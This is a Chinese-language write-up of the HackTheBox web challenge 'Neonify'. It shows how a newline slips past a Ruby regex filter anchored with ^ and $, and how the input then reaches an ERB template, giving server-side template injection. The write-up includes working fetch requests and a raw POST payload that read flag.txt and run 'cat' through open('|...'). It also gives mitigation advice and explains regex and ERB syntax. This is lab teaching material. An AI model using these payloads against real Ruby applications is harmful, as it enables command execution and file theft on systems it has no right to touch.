HTB Neonify

說明

此為hackthebox的web靶機,名稱為Neonify,攻擊策略為饒過字串保護,並透過ruby SSTI執行任意指令

安全風險

此目標發現2個安全風險

1.ruby過濾字串保護機制寫法可以被斷行方法饒過

2.可執行ruby SSTI模版語法

安全優化建議

增加安全測試任務,檢測所有網站的分隔符號能否饒過字串過濾檢查

增加安全測試任務,檢測所有網站模版是否能執行外部參數


攻擊方式

1.饒過保護機制

代碼分析時發現@neon = ERB.new(params[:neon]).result(binding),這表示可以將neon參數交給ERB的ruby模板執行

...omit...
post '/' do
  if params[:neon] =~ /^[0-9a-z ]+$/i
    @neon = ERB.new(params[:neon]).result(binding)
  else
    @neon = "Malicious Input Detected"
  end
  erb :'index'
end
...omit...

但這一行會做基本的保護if params[:neon] =~ /^[0-9a-z ]+$/i ,不過仔細看會發現這個保護有換行饒過問題,因此用以下請求測試換行饒過,透過Post方法傳送neon=a%0ab.c.d.e.f

fetch("http://157.245.32.36:31003/", {
"headers": {
    "content-type": "application/x-www-form-urlencoded"
},
  "body": "neon="+encodeURIComponent(`a\nb.c.d.e.f`),
  "method": "POST"
});

返回以下內容,這代表正則表達式饒過成功

...omit..        </form> 
        <h1 class="glow">a
b.c.d.e.f.g</h1>
    </div>
...omit...

2.執行任意指令

在請求時將讀取flag指令放入neon就可以取得flag.txt內容, 但使用傳統的systemexec因為不會顯示內容所以沒用,可以使用模版語法<%= File.read('flag.txt') %> 或是<%= open('|cat flag.txt').read() %>

例如執行以下操作可返回HTB{xxx)

fetch("http://157.245.32.36:31003/", {
"headers": {
    "content-type": "application/x-www-form-urlencoded"
},
  "body": "neon="+encodeURIComponent(`a\n<%= File.read('flag.txt') %>`),
  "method": "POST"
});

或是直接請求以下的內容也可以返回HTB{xxx), %0a是空白的URL encoding, %25是%的URL encoding

POST / HTTP/1.1
...omit...
neon=a%0a</h1><%25=open('|cat flag.txt').read()%25><h1>

補充說明

ruby正則表達式說明

在 Ruby 中,=~ 是用於正規表示式匹配的操作符,在正規表示式中常用功能有以下

  1. /: 正規表示式的開始和結束標記,用於界定正規表示式的模式。
  2. ^: 位於開頭的錨點,表示匹配必須從字串的開頭開始。
  3. [0-9a-z ]: 字元類別(character class),表示可接受的字元範圍。 在這個例子中,表示可以匹配數字(0-9)、小寫字母(a-z)和空格(” “)之間的任一個字元。
  4. +: 量詞(quantifier),表示前面的元素可以出現一次或多次。
  5. $: 位於結尾的錨點,表示匹配必須到達字串的末尾。
  6. i: 修飾符(modifier),表示匹配時忽略大小寫。

範例如下

ruby
Copy Code
string = "Hello, World!"
pattern = /llo/


if string =~ pattern
  puts "match found"
else
  puts "No match found"
end

ruby模版語法說明

ERB為 Ruby 提供了一個易於使用但功能強大的模板系統。 使用ERB,可以將實際的 Ruby 程式碼新增到任何純文字文件中,以產生文件資訊詳細資訊和/或流程控制。

以下模板語法可顯示42

require 'erb'

x = 42
template = ERB.new <<-EOF
  The value of x is: <%= x %>
EOF
puts template.result(binding)

常見組合說明如下:

<% %> 在括號內執行ruby程式碼。
<%= %> 在ERB檔案中列印一些東西。
<% -%> 避免在表達式後中斷行。
<%# %> 括號內的註解;未傳送到客戶端(與HTML註解相反)。